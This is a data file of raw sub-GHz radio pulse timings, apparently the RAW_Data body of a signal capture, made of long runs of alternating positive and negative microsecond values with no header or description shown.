91 -370 131 -364 93 -3750 101 -356 105 -370 93 -384 349 -104 369 -92 375 -96 369 -128 337 -128 95 -366 369 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -128 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -356 349 -140 333 -126 315 -126 371 -128 339 -128 93 -370 365 -106 339 -130 353 -126 89 -376 101 -370 125 -356 351 -140 105 -362 103 -370 345 -140 303 -130 359 -126 337 -128 91 -370 131 -366 93 -3748 99 -356 107 -368 125 -354 351 -138 333 -92 377 -96 369 -128 337 -128 95 -368 367 -106 339 -130 355 -124 91 -374 139 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3752 101 -356 107 -368 125 -350 351 -104 369 -92 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3740 97 -372 95 -378 123 -352 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -342 97 -366 123 -356 327 -154 95 -400 105 -334 369 -106 337 -130 357 -124 337 -130 91 -368 133 -364 93 -3742 101 -392 105 -334 127 -356 351 -138 333 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 355 -126 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -130 91 -368 131 -366 91 -3742 97 -370 95 -380 123 -350 355 -140 317 -142 333 -124 359 -104 359 -142 105 -364 315 -140 359 -106 335 -126 143 -340 99 -364 125 -390 293 -154 95 -398 107 -334 369 -106 337 -130 357 -124 359 -104 103 -384 103 -396 69 -3740 97 -394 101 -354 107 -366 329 -140 337 -128 351 -124 339 -128 337 -128 95 -366 369 -106 339 -132 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3748 99 -392 105 -336 125 -354 349 -140 335 -126 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 353 -126 89 -376 103 -368 125 -356 353 -138 -RAW_Data: 107 -362 103 -368 345 -140 303 -132 359 -126 337 -128 91 -370 131 -364 93 -3744 99 -392 105 -334 127 -356 351 -140 331 -94 377 -94 369 -130 337 -128 93 -368 367 -108 339 -128 357 -124 89 -376 137 -334 125 -356 353 -140 105 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3754 99 -356 107 -368 125 -352 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 337 -130 91 -370 131 -364 91 -3746 97 -370 95 -380 93 -380 355 -104 351 -140 333 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -124 143 -340 99 -364 123 -360 327 -122 123 -362 139 -334 371 -106 337 -130 357 -124 359 -104 103 -384 105 -360 103 -3744 99 -360 135 -352 105 -368 359 -108 337 -128 351 -94 391 -106 357 -108 105 -398 319 -142 355 -106 333 -124 109 -374 99 -362 123 -360 327 -122 141 -342 137 -334 353 -140 335 -128 349 -94 369 -128 93 -366 131 -366 91 -3740 97 -372 95 -378 123 -352 355 -140 317 -140 333 -124 361 -104 357 -144 105 -362 317 -140 357 -108 335 -124 143 -342 99 -364 125 -354 327 -156 93 -400 105 -332 371 -106 337 -132 357 -124 337 -128 93 -368 131 -366 91 -3752 101 -354 107 -368 93 -384 351 -104 367 -94 375 -94 369 -128 339 -128 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -368 347 -106 339 -132 357 -124 337 -130 91 -368 131 -364 93 -3746 101 -392 105 -334 127 -354 349 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 141 -334 125 -352 351 -138 333 -94 377 -94 369 -130 337 -128 93 -368 367 -108 337 -130 355 -124 91 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -368 131 -364 93 -3740 97 -372 127 -344 125 -352 355 -140 319 -140 333 -124 361 -104 359 -142 105 -362 317 -140 359 -106 335 -124 143 -342 99 -364 125 -390 293 -154 93 -400 105 -336 369 -106 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3742 97 -370 95 -378 93 -382 353 -106 351 -140 333 -124 361 -104 359 -106 143 -362 353 -106 359 -106 335 -124 145 -340 99 -364 123 -356 327 -124 123 -364 139 -334 371 -106 337 -130 357 -124 337 -128 -RAW_Data: 93 -368 131 -364 91 -3754 99 -356 107 -368 125 -366 331 -134 331 -122 337 -128 371 -96 369 -96 127 -370 363 -106 337 -128 353 -94 121 -374 137 -334 125 -356 351 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -364 93 -3750 99 -356 143 -334 125 -354 349 -140 303 -156 315 -126 369 -128 339 -128 95 -368 365 -108 337 -128 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -142 303 -130 359 -124 339 -128 91 -370 131 -366 91 -3720 135 -346 123 -354 139 -334 367 -94 345 -136 335 -122 389 -104 359 -108 105 -364 349 -140 325 -144 335 -94 125 -364 141 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -370 131 -364 91 -3750 101 -392 105 -334 127 -352 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 125 -356 353 -138 105 -362 105 -368 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3752 99 -356 107 -368 93 -384 351 -104 367 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 339 -130 357 -126 337 -128 91 -370 131 -364 91 -3746 101 -392 105 -334 127 -354 349 -140 335 -126 315 -126 369 -130 337 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -368 127 -356 351 -140 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 141 -334 125 -352 351 -140 331 -94 377 -94 369 -130 337 -130 93 -368 367 -106 339 -130 355 -124 91 -376 137 -334 125 -356 351 -140 105 -364 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 125 -354 351 -138 335 -126 315 -126 369 -128 339 -128 95 -368 365 -108 337 -130 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -364 93 -3740 97 -372 93 -380 93 -384 353 -106 349 -142 331 -124 361 -104 359 -108 141 -362 353 -106 359 -108 335 -124 143 -340 99 -364 123 -358 357 -92 123 -364 139 -336 371 -106 337 -130 357 -124 337 -128 91 -368 131 -366 91 -3742 97 -370 127 -346 123 -354 355 -104 353 -142 333 -124 361 -104 357 -108 141 -364 317 -140 361 -106 335 -124 145 -340 97 -364 123 -360 327 -122 125 -360 139 -334 371 -108 337 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 101 -392 105 -334 127 -356 -RAW_Data: 349 -140 335 -124 317 -158 337 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3748 101 -356 141 -334 125 -352 351 -140 331 -94 379 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -376 137 -334 125 -356 351 -140 105 -362 105 -370 345 -106 339 -132 357 -124 337 -130 91 -368 131 -366 91 -3742 99 -392 105 -336 127 -358 349 -140 333 -126 315 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 337 -128 93 -368 131 -366 91 -3746 99 -392 105 -336 127 -356 349 -140 333 -92 377 -96 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -374 139 -332 127 -354 351 -140 105 -364 105 -370 343 -108 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 125 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 127 -354 353 -138 105 -362 105 -370 343 -142 303 -132 357 -126 337 -128 91 -370 131 -366 91 -3752 101 -356 105 -370 125 -364 331 -134 331 -122 361 -104 359 -144 333 -94 125 -364 353 -140 355 -108 333 -124 109 -376 97 -362 125 -358 329 -122 123 -360 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -364 91 -3740 97 -372 125 -346 139 -340 351 -142 341 -100 359 -124 361 -104 357 -108 105 -396 317 -140 357 -108 335 -124 109 -376 99 -364 123 -358 327 -122 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -394 69 -3742 99 -392 101 -356 105 -370 327 -140 337 -128 351 -94 391 -104 357 -108 105 -398 319 -142 355 -108 333 -124 109 -374 97 -364 123 -360 327 -124 123 -360 139 -334 371 -106 339 -130 355 -124 359 -106 103 -384 103 -360 105 -3742 97 -372 97 -372 129 -338 347 -124 337 -126 339 -128 337 -162 305 -158 93 -368 359 -132 327 -122 339 -128 121 -370 101 -368 91 -384 351 -138 105 -362 105 -368 343 -142 301 -132 359 -124 337 -130 91 -368 133 -364 93 -3744 99 -392 105 -336 127 -356 351 -138 333 -94 377 -94 369 -130 337 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 127 -356 351 -140 105 -362 105 -370 343 -108 339 -130 359 -124 337 -128 91 -368 131 -364 93 -3744 99 -392 105 -336 127 -358 349 -140 333 -126 315 -158 339 -128 337 -130 93 -368 -RAW_Data: 367 -106 337 -130 357 -124 89 -378 101 -368 127 -356 351 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3742 97 -372 93 -380 103 -372 347 -142 339 -100 359 -124 337 -128 337 -130 123 -336 371 -106 373 -98 359 -124 91 -376 137 -334 127 -356 351 -140 105 -364 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3750 99 -394 105 -334 125 -354 351 -140 303 -156 313 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3748 99 -392 105 -334 127 -356 349 -140 333 -92 379 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 127 -356 351 -140 105 -362 105 -370 343 -106 341 -130 357 -124 339 -128 91 -368 131 -366 91 -3740 97 -372 127 -346 123 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -342 99 -364 125 -356 327 -154 95 -398 105 -336 367 -108 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3742 97 -372 93 -380 103 -372 347 -142 337 -100 361 -124 337 -128 337 -130 123 -336 373 -106 371 -100 359 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -106 341 -130 357 -124 339 -128 91 -368 133 -364 91 -3750 99 -394 105 -334 125 -354 351 -140 303 -156 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3750 101 -356 141 -334 125 -366 331 -134 331 -122 361 -104 359 -144 333 -94 125 -364 353 -140 355 -108 333 -124 145 -340 97 -362 125 -356 327 -122 125 -362 141 -334 371 -106 339 -128 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 125 -346 123 -354 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 317 -140 359 -106 337 -124 143 -342 99 -364 123 -390 293 -156 93 -400 105 -334 369 -106 339 -130 357 -124 339 -128 91 -370 131 -366 91 -3744 101 -392 105 -334 127 -356 351 -138 333 -94 377 -94 369 -128 337 -130 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3748 99 -392 107 -334 127 -354 349 -140 335 -126 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 -RAW_Data: 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3744 99 -392 105 -334 129 -354 353 -138 333 -126 345 -94 369 -130 337 -130 93 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 345 -106 339 -132 357 -124 339 -128 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -372 333 -132 331 -124 359 -106 357 -144 333 -94 139 -376 355 -106 343 -102 361 -124 109 -374 97 -364 123 -360 327 -122 141 -344 135 -334 353 -140 335 -128 349 -126 337 -128 91 -368 131 -366 91 -3740 97 -372 125 -346 125 -352 355 -104 353 -142 335 -124 359 -104 359 -106 143 -362 353 -106 359 -106 335 -124 145 -340 99 -362 125 -358 327 -122 123 -364 139 -334 371 -108 337 -130 355 -124 339 -128 91 -368 131 -364 93 -3742 97 -372 125 -346 123 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -340 99 -366 125 -390 293 -154 95 -398 107 -334 369 -106 337 -130 357 -126 337 -128 93 -368 131 -366 93 -3742 97 -370 95 -378 105 -370 349 -140 339 -100 359 -124 337 -128 339 -128 125 -336 371 -106 373 -98 359 -124 91 -374 139 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 357 -124 339 -128 91 -368 133 -364 91 -3748 101 -392 105 -334 127 -354 349 -140 335 -124 317 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 345 -140 303 -132 359 -126 337 -128 91 -370 131 -364 93 -3744 99 -392 105 -336 127 -356 349 -140 333 -124 347 -94 369 -128 339 -128 95 -366 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -362 105 -372 345 -106 339 -132 355 -124 339 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 127 -368 333 -134 331 -124 337 -126 339 -128 369 -96 127 -370 363 -106 337 -128 353 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3742 95 -372 127 -344 141 -338 351 -142 341 -100 361 -124 359 -104 357 -108 105 -398 315 -140 359 -108 335 -124 107 -378 99 -364 123 -358 327 -122 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -394 69 -3740 97 -374 95 -372 129 -340 347 -124 337 -126 371 -96 369 -98 369 -126 93 -390 315 -134 335 -122 375 -94 121 -374 101 -370 125 -352 353 -140 105 -362 105 -370 343 -106 339 -132 357 -124 -RAW_Data: 339 -128 91 -368 131 -364 93 -3744 99 -392 105 -334 129 -358 349 -140 333 -126 317 -126 369 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 353 -138 105 -364 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3744 101 -392 103 -336 125 -356 351 -138 333 -126 347 -94 369 -128 337 -130 93 -366 369 -106 339 -130 357 -124 91 -376 137 -334 125 -354 353 -138 107 -362 103 -370 347 -106 371 -98 359 -124 337 -128 93 -368 131 -364 93 -3738 97 -372 127 -344 141 -338 353 -142 339 -100 361 -124 361 -102 359 -106 105 -398 317 -140 357 -106 335 -124 145 -340 97 -364 125 -390 293 -154 95 -400 103 -336 369 -106 337 -130 357 -124 337 -130 91 -368 133 -364 93 -3742 97 -370 95 -378 123 -354 353 -106 351 -142 335 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -122 145 -342 97 -364 123 -360 327 -124 123 -360 139 -336 371 -106 337 -130 357 -124 337 -130 91 -368 131 -366 91 -3748 99 -392 105 -334 127 -356 349 -140 335 -124 317 -126 369 -128 339 -128 95 -368 365 -108 337 -130 355 -126 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 337 -130 91 -370 131 -366 91 -3754 101 -356 105 -370 93 -396 329 -134 331 -122 361 -106 357 -144 333 -94 125 -364 355 -140 355 -108 333 -124 109 -376 97 -362 125 -370 319 -134 139 -362 105 -336 373 -106 339 -128 357 -124 337 -128 93 -368 131 -364 93 -3752 101 -356 141 -334 125 -366 331 -134 331 -124 359 -106 357 -144 333 -94 139 -376 355 -106 343 -102 363 -124 107 -376 97 -360 125 -360 325 -124 139 -344 137 -334 353 -140 335 -128 349 -126 337 -128 93 -366 131 -366 91 -3746 99 -392 105 -336 127 -354 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 365 -108 337 -130 355 -126 89 -376 103 -368 127 -356 351 -138 107 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3740 97 -372 127 -346 123 -354 353 -104 389 -106 333 -124 361 -104 357 -108 141 -364 351 -106 359 -108 335 -124 145 -340 99 -364 123 -358 327 -124 123 -364 139 -334 371 -108 337 -130 355 -126 337 -128 93 -366 131 -366 91 -3744 99 -392 105 -336 127 -358 349 -140 333 -126 315 -126 371 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -368 127 -356 351 -140 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3754 101 -342 125 -358 -RAW_Data: 139 -334 367 -92 379 -104 335 -122 373 -96 369 -130 91 -368 343 -126 361 -104 337 -124 123 -360 139 -336 127 -356 351 -138 107 -362 105 -368 347 -106 339 -132 357 -124 339 -128 91 -368 131 -364 93 -3752 101 -356 141 -334 125 -352 351 -140 303 -156 315 -126 369 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -376 103 -368 125 -356 353 -138 105 -364 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3744 99 -392 105 -334 127 -356 351 -140 333 -126 345 -94 369 -130 337 -128 95 -368 367 -106 339 -130 357 -124 91 -374 139 -332 127 -354 351 -140 105 -364 103 -372 343 -108 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3746 101 -392 105 -334 127 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 351 -140 105 -362 105 -368 345 -140 305 -130 361 -124 337 -128 93 -368 131 -366 91 -3754 101 -344 123 -358 139 -334 369 -92 347 -134 335 -124 373 -94 369 -130 91 -368 345 -126 359 -106 335 -124 123 -360 127 -344 131 -368 325 -140 107 -346 127 -372 345 -124 339 -128 337 -128 339 -126 127 -346 125 -374 95 -3714 137 -340 135 -334 123 -388 325 -124 349 -126 337 -128 339 -128 337 -128 125 -348 355 -138 335 -126 347 -94 121 -374 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -132 357 -124 339 -128 91 -368 131 -366 93 -3744 99 -392 105 -334 127 -358 351 -138 335 -126 315 -158 337 -130 337 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3752 101 -356 141 -334 125 -352 351 -138 333 -94 377 -96 369 -128 337 -128 95 -366 369 -106 339 -130 355 -124 91 -376 137 -334 125 -356 351 -138 107 -362 105 -370 345 -106 339 -132 357 -124 339 -128 91 -370 131 -364 91 -3744 99 -392 105 -336 127 -358 349 -140 335 -124 317 -158 337 -130 337 -128 95 -368 365 -108 337 -130 355 -126 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3750 99 -392 105 -336 125 -354 351 -140 331 -94 377 -94 369 -128 339 -128 95 -366 369 -106 337 -130 357 -124 91 -376 137 -334 125 -356 351 -138 107 -362 105 -370 347 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3750 99 -394 105 -334 127 -354 349 -140 335 -124 315 -126 369 -130 337 -130 -RAW_Data: 93 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -358 351 -140 105 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 133 -366 91 -3748 101 -392 105 -334 127 -354 351 -138 333 -94 377 -94 369 -130 337 -128 95 -366 369 -106 339 -130 355 -124 91 -374 139 -332 127 -356 351 -138 107 -362 105 -370 347 -106 339 -130 357 -124 337 -130 91 -368 131 -366 91 -3748 99 -392 105 -334 127 -356 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 59 -956354 167 -332 121 -376 125 -340 347 -132 335 -122 359 -138 325 -142 335 -126 95 -366 355 -140 317 -140 333 -124 109 -376 97 -364 125 -356 327 -124 141 -340 137 -334 355 -138 335 -126 351 -124 339 -128 91 -370 129 -364 91 -3716 135 -356 105 -370 91 -382 327 -126 357 -124 359 -104 359 -108 335 -126 141 -340 351 -142 339 -100 361 -124 109 -374 97 -360 125 -360 327 -122 141 -342 137 -332 353 -140 335 -126 349 -94 369 -128 93 -368 129 -334 123 -3714 135 -354 107 -368 93 -394 329 -132 331 -122 361 -104 359 -144 333 -94 139 -342 353 -140 343 -100 363 -124 107 -376 97 -360 125 -358 327 -122 143 -342 135 -334 353 -140 335 -126 349 -94 369 -128 93 -368 129 -364 91 -3744 101 -356 141 -332 127 -350 351 -140 303 -156 313 -126 371 -128 337 -130 93 -370 365 -106 337 -128 355 -126 89 -376 101 -370 125 -354 351 -138 105 -364 103 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3746 99 -356 107 -368 93 -384 351 -104 367 -94 377 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3740 95 -372 93 -380 93 -382 355 -104 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 361 -106 335 -124 107 -376 97 -362 123 -360 327 -124 123 -358 139 -336 371 -106 339 -130 355 -94 369 -128 91 -368 131 -364 91 -3750 101 -356 107 -368 125 -350 349 -104 339 -124 375 -96 369 -128 339 -128 93 -368 365 -108 337 -130 355 -94 121 -374 139 -332 127 -354 351 -140 105 -364 103 -370 343 -108 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3720 135 -354 105 -370 93 -394 329 -134 331 -122 337 -128 369 -96 371 -96 125 -372 329 -140 337 -126 353 -94 121 -374 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3750 101 -356 -RAW_Data: 105 -370 125 -350 349 -140 333 -94 375 -94 371 -128 337 -130 93 -368 365 -106 339 -130 355 -126 89 -376 137 -334 125 -354 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -366 91 -3720 133 -354 107 -368 125 -352 349 -140 301 -126 345 -126 369 -130 337 -128 95 -368 365 -106 337 -130 355 -124 91 -374 103 -368 127 -354 353 -138 105 -362 105 -368 343 -142 303 -130 359 -124 339 -128 91 -370 131 -364 93 -3718 135 -354 105 -370 93 -394 331 -132 331 -122 361 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 107 -374 97 -362 125 -360 325 -124 141 -342 135 -334 355 -140 335 -126 351 -94 369 -128 91 -368 131 -332 123 -3718 133 -354 107 -368 125 -364 329 -134 331 -122 337 -128 369 -96 371 -96 125 -370 363 -108 337 -128 351 -94 121 -376 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3718 135 -354 107 -368 125 -364 331 -132 331 -124 359 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 353 -140 335 -126 351 -94 369 -128 91 -368 131 -332 123 -3742 99 -392 105 -336 125 -354 351 -140 333 -126 315 -126 369 -128 339 -128 95 -368 367 -106 337 -130 353 -126 89 -376 101 -370 125 -356 351 -140 105 -362 103 -370 345 -106 337 -132 357 -124 339 -128 91 -370 131 -364 91 -3752 101 -356 107 -368 93 -396 329 -134 329 -124 337 -126 371 -96 369 -96 127 -370 363 -106 337 -128 353 -124 91 -374 139 -332 127 -354 351 -138 107 -362 105 -368 345 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3750 99 -356 143 -332 127 -352 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 365 -106 337 -130 357 -124 89 -376 101 -370 125 -356 351 -140 105 -362 105 -368 343 -142 301 -132 359 -126 337 -128 91 -370 131 -364 93 -3752 99 -356 107 -368 93 -396 329 -134 331 -122 361 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 107 -376 97 -360 125 -360 327 -122 141 -342 137 -334 353 -140 337 -126 349 -94 369 -128 91 -368 131 -334 121 -3742 101 -392 105 -334 127 -354 349 -140 335 -126 313 -126 371 -128 339 -128 93 -370 365 -106 337 -130 355 -124 91 -376 101 -370 125 -356 351 -140 105 -362 103 -370 343 -140 303 -132 359 -126 337 -128 93 -368 131 -364 93 -3744 95 -372 95 -368 139 -336 367 -108 337 -130 357 -92 369 -128 -RAW_Data: 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 353 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3750 101 -356 141 -334 125 -352 351 -140 333 -94 377 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3752 101 -356 107 -368 125 -352 349 -140 303 -124 345 -126 369 -130 337 -130 93 -368 367 -106 337 -130 355 -124 91 -376 101 -368 127 -354 353 -138 105 -364 103 -368 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 91 -3744 99 -392 105 -334 127 -356 349 -140 333 -124 347 -94 369 -128 337 -130 93 -366 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -140 107 -362 105 -368 345 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3748 101 -392 105 -334 127 -352 351 -140 303 -156 313 -128 369 -128 339 -128 93 -370 365 -106 337 -130 355 -126 89 -376 101 -370 125 -356 351 -138 107 -362 103 -368 345 -140 303 -132 359 -126 337 -128 91 -370 131 -364 93 -3752 101 -356 105 -370 93 -394 331 -134 329 -124 337 -126 371 -96 369 -98 125 -370 363 -108 337 -128 351 -94 121 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -364 93 -3748 101 -356 141 -336 125 -366 331 -134 331 -122 337 -128 371 -96 369 -96 127 -370 363 -108 335 -128 353 -92 121 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -370 131 -364 93 -3742 101 -392 105 -334 127 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -370 365 -108 337 -130 355 -126 89 -374 103 -368 127 -354 353 -138 105 -362 105 -370 343 -106 339 -132 357 -124 339 -128 91 -370 131 -364 91 -3746 97 -370 95 -368 139 -336 369 -106 339 -130 353 -124 339 -128 337 -130 93 -368 369 -106 339 -130 359 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 345 -106 339 -130 357 -124 339 -128 91 -368 133 -364 91 -3744 101 -392 103 -336 127 -354 351 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 125 -356 351 -140 105 -362 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3746 95 -372 93 -368 139 -336 369 -106 339 -130 353 -126 337 -128 337 -130 93 -368 369 -106 339 -130 359 -124 89 -376 -RAW_Data: 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3752 99 -356 143 -332 127 -352 351 -140 301 -158 313 -126 369 -130 337 -128 93 -368 367 -106 337 -130 355 -126 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 343 -140 303 -132 359 -126 337 -128 93 -368 131 -364 93 -3752 101 -356 105 -370 93 -396 331 -132 331 -124 335 -128 369 -98 369 -96 127 -368 363 -108 337 -128 353 -94 121 -376 137 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3752 99 -356 141 -334 125 -354 351 -138 335 -94 377 -94 369 -130 337 -128 93 -368 365 -108 339 -128 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 91 -3750 101 -354 143 -334 125 -354 351 -138 303 -156 315 -126 369 -130 337 -128 95 -368 367 -106 337 -130 355 -124 91 -374 103 -368 127 -356 351 -138 107 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 131 -366 93 -3748 99 -356 143 -334 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 137 -334 125 -358 349 -140 105 -364 103 -370 343 -108 339 -130 359 -124 337 -128 91 -368 131 -366 91 -3750 99 -394 105 -334 125 -354 351 -140 301 -158 313 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3748 101 -356 141 -334 125 -354 349 -140 333 -92 379 -94 369 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 139 -334 125 -356 351 